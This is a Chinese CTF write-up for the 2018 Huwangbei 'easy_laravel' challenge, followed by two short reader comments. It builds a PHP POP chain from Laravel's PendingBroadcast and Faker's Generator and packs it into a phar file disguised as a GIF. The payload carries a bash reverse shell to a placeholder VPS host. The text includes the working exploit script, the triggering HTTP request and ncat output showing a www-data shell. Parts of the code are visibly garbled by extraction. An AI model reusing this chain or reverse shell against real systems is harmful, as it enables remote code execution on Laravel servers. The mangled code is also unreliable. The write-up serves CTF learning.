## 2018护网杯easy\_laravel 利用POP Chian getshell

出题的师傅已经把docker环境放到了github上

https://github.com/sco4x0/huwangbei2018\_easy\_laravel

可以自己环境部署,关于如何通过sql注入变成管理员请参考这位师傅的博客

http://www.venenof.com/index.php/archives/565/。

下面是在你已经成为管理员,为了方便我直接修改了代码,将UploadController的\$this->middleware(['auth', 'admin']);注释掉。

根据这篇文章

https://paper.seebug.org/680/

我们知道, phar协议在涉及到文件操作的时候存在反序列化。

下面我们的目标是如何找POP Chain。在vendor 这个文件夹下面,搜索\_\_destruct和call\_user\_func

我找到了下面两个文件。

```
Illuminate\Broadcasting\PendingBroadcast.php
<?php
namespace Illuminate\Broadcasting;
use Illuminate\Contracts\Events\Dispatcher;
class PendingBroadcast
   protected $events;
   protected $event;
   public function __construct(Dispatcher $events, $event)
   {
       $this->event = $event;
       $this->events = $events;
   public function __destruct()
   {
       $this->events->fire($this->event);
   }
   public function toOthers()
   {
       if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
           $this->event->dontBroadcastToCurrentUser();
       return $this;
   }
Faker\Generator.php
<?php
namespace Faker;
class Generator
   protected $providers = array();
   protected $formatters = array();
```

```
public function addProvider($provider)
{
    array unshift($this->providers, $provider);
public function getProviders()
    return $this->providers;
public function seed($seed = null)
    if ($seed === null) {
       mt_srand();
    } else {
       if (PHP_VERSION_ID < 70100) {
           mt_srand((int) $seed);
       } else {
           mt_srand((int) $seed, MT_RAND_PHP);
    }
}
public function format($formatter, $arguments = array())
    return call_user_func_array($this->getFormatter($formatter), $arguments);
public function getFormatter($formatter)
    if (isset($this->formatters[$formatter])) {
       return $this->formatters[$formatter];
    foreach ($this->providers as $provider) {
       if (method_exists($provider, $formatter)) {
           $this->formatters[$formatter] = array($provider, $formatter);
           return $this->formatters[$formatter];
        }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
public function parse($string)
    \label{linear_return_preg_replace_callback('/{{}}v', array($this, 'callFormatWithMatches'), $string); } \\
protected function callFormatWithMatches($matches)
    return $this->format($matches[1]);
public function __get($attribute)
    return $this->format($attribute);
public function __call($method, $attributes)
    return $this->format($method, $attributes);
```

先解释两个魔术方法

\_\_destruct 销毁对象的时候会自动调用该方法

\_\_call当对象调用不存在的方法时会自动调用该函数

chain就比较明显了,先创建一个Generator实例,然后将其赋值给PendingBroadcast的events。当PendingBroadcast自动销毁时会调用Generator的fire方法,

```
可能解释的不是很清楚,具体利用看下面的脚本。
```

```
<?php
namespace Illuminate\Broadcasting{
   class PendingBroadcast
   {
       protected $events;
       protected $event;
       public function __construct($events, $event)
           $this->event = $event;
           $this->events = $events;
       public function __destruct()
           $this->events->fire($this->event);
   }
}
namespace Faker{
   class Generator
   {
       protected $formatters;
       function __construct($forma){
           $this->formatters = $forma;
       public function format($formatter, $arguments = array())
           return call_user_func_array($this->getFormatter($formatter), $arguments);
       }
       public function getFormatter($formatter)
           if (isset($this->formatters[$formatter])) {
               return $this->formatters[$formatter];
           }
       }
       public function __call($method, $attributes)
           return $this->format($method, $attributes);
   }
}
{\tt namespace} \{
   $fs = array("fire"=>"system");
   $gen = new Faker\Generator($fs);
   pb = new Illuminate\Broadcasting\PendingBroadcast(\pen,"bash -c 'bash -i > & /dev/tcp/vpsip/9999 0>&1'");
   $p = new Phar('./1.phar', 0);
   $p->startBuffering();
   $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
   $p->setMetadata($pb);
   $p->addFromString('1.txt','text');
   $p->stopBuffering();
```

```
rename('./1.phar', '3.gif');
}
?>
```

## 然后将上面脚本生成的3.gif

上传然后,通过控制path参数和filename参数使得file\_exists("phar:///usr/share/nginx/html/storage/app/public/3.gif/1.txt"),然后就可以getshell了。

POST /check HTTP/1.1 Host: 10.162.65.225:8989

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.162.65.225:8989/files

Content-Type: application/x-www-form-urlencoded

Content-Length: 122

Cookie:

XSRF-TOKEN=eyJpdil6InhHZWM2aVFIMmVQS29PU0E4SIVOQ3c9PSIsInZhbHVlljoiczZXWVNiZ0tBaVhcL282aWFp0FQxYjhXUjVWQkVZRTV1YWl0NmgwRFFrRUxxdkFFdnU5eUtVblNxV09JRlgwMndzSEZ6QzdHYmt3cIFUMVYwWGxpaUFBPT0iLCJtYWMiOil30GM2M2ZmYzcwNGZINGRiNGVIYmFhNWQxY2ZjNmFhNTJIMzk0NmU00DVIZWQyY2Y3ZTQ0NDA4YmM0NDU0M2Viln0%3D;

laravel\_session=eyJpdil6IIJTbHBQQTRLYThVbnhVZThEQ043Umc9PSIsInZhbHVIIjoiTE5WZWpmTXI0TXBCR3M4eVRwNzRiODJcL3dtVHIjOGUwUVZ3SjZJRnVGVGV4Tmt
henRzSEJcLzgxYW9BWkE5TIgwRUpqY2dEcWNOYUt1UTFoMXhuOVZQdz09liwibWFjljoiOTAwYTE2M2E3YmJmYTE3MDJhNzQxODI5ODFiMjhiMWM3Y2YwMThINjRjOGN
IZTNmYzkzMzMwYTFjOTFmZjBhNCJ9

Connection: close

Upgrade-Insecure-Requests: 1

 $\label{path:phar:///usr/share/nginx/html/storage/app/public/3.gif&filename=/1.txt&\_token=mtGISMnSoGARcdIS1bnHA66LI3tCn22wMrvtccpr$ 



```
NCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
www-data@26b795b36ed4:/$ NCAT DEBUG: selecting, fdmax 5
ls
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 0 is ready
NCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
INCAT DEBUG: selecting, fdmax 5
NCAT DEBUG: select returned 1 fds ready
NCAT DEBUG: fd 5 is ready
bd build
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
th1s1s_F14g_2333333
tmp
usr
var
www-data@26b795b36ed4:/$ NCAT DEBUG: selecting, fdmax 5
```

成功get shell。

## 参考链接:

https://github.com/sco4x0/huwangbei2018\_easy\_laravel

http://www.venenof.com/index.php/archives/565/

https://paper.seebug.org/680/

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1. 2条回复



afanti 2018-10-16 09:28:25

膜大佬,非预期解

0 回复Ta



veneno 2018-10-17 22:12:36

hhh,果真有RCE

0 回复Ta

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